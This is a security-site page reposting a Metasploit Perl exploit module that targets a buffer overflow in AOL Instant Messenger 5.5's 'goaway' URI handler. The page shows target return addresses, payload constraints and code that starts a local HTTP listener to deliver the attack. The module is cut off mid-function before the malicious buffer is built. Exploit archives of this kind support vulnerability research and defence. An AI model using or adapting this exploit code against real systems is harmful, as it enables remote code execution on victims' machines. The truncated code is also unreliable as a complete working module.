首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
AOL Instant Messenger goaway Overflow
来源:mmiller@hick.org 作者:skape 发布时间:2005-02-24  

Name: AOL Instant Messenger goaway Overflow
Version: 1.4
Targeting: win32, win2000, winxp, win2003 / x86
Privileges: No
Authors:
skape <mmiller [at] hick.org>
thief <thief [at] uninformed.org>

Targets:
0 - Automatic
1 - Windows XP SP0

Options:
HTTPHOST - The local HTTP listener host
HTTPPORT - The local HTTP listener port

Payload Info:
Room for 1014 bytes of payload
Restricted bytes: 0x00 0x09 0x0a 0x0d 0x20 0x22 0x25 0x26 0x27 0x2b 0x2f 0x3a 0x3c 0x3e 0x3f 0x40

Description: This module exploits a flaw in the handling of AOL Instant Messenger's 'goaway' URI handler. An attacker can execute arbitrary code by supplying a overly sized buffer as the 'message' parameter. This issue is known to affect AOL Instant Messenger 5.5.
References:
http://www.osvdb.org/8398
http://www.idefense.com/application/poi/display?id=121&type=vulnerabilities

exploits:
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::aim_goaway;

use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;

my $advanced =
{
};

my $info =
{
'Name' => 'AOL Instant Messenger goaway Overflow',
'Version' => '$Revision: 1.4 $',
'Authors' =>
[
'skape <mmiller [at] hick.org>',
'thief <thief [at] uninformed.org>'
],
'Description' =>
Pex::Text::Freeform(qq{
This module exploits a flaw in the handling of AOL Instant
Messenger's 'goaway' URI handler. An attacker can execute
arbitrary code by supplying a overly sized buffer as the
'message' parameter. This issue is known to affect AOL Instant
Messenger 5.5.
}),
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000', 'winxp', 'win2003' ],
'Priv' => 0,
'UserOpts' =>
{
'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
},
'Payload' =>
{
'Space' => 1014,
'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",
'MaxNops' => 1014,
'Keys' => [ '-ws2ord' ],
},
'Refs' =>
[
[ 'OSVDB', 8398 ],
'http://www.idefense.com/application/poi/display?id=121&type=vulnerabilities',
],
'DefaultTarget' => 0,
'Targets' =>
[
[ 'Automatic', 0x1108118f ], # proto.ocm
[ "Windows XP SP0", 0x71aa2461 ], # ws2help.dll
],
'Keys' => [ 'aim' ],
};

sub new
{
my $class = shift;
my $self;

$self = $class->SUPER::new(
{
'Info' => $info,
'Advanced' => $advanced,
},
@_);

return $self;
}

sub Exploit
{
my $self = shift;
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('HTTPHOST'),
LocalPort => $self->GetVar('HTTPPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp');
my $client;

# Did the listener create fail?
if (not defined($server))
{
$self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
return;
}

$self->PrintLine("[*] Waiting for connections to http://" . $self->GetVar('HTTPHOST') . ":" . $self->GetVar('HTTPPORT') . " ...");

while (defined($client = $server->accept()))
{
$self->HandleHttpClient(fd => $client);
}

return;
}

sub HandleHttpClient
{
my $self = shift;
my ($fd) = @{{@_}}{qw/fd

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·AppleFileServer LoginExt PathN
·Apache Win32 Chunked Encoding
·Metasploit Framework Credits
·WebConnect Directory Traversal
·3Com 3CDaemon FTP Server Overf
·Avaya IP Office Phone Manager
·PeerFTP v5 Local Passwords Dis
·AWStats 6.x pluginmode Multipl
·SendLink v1.5 Local Passwords
·Multiple Vulnerabilities in We
·WWW File Share Pro Local Passw
·Denial of Service Vulnerabilit
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved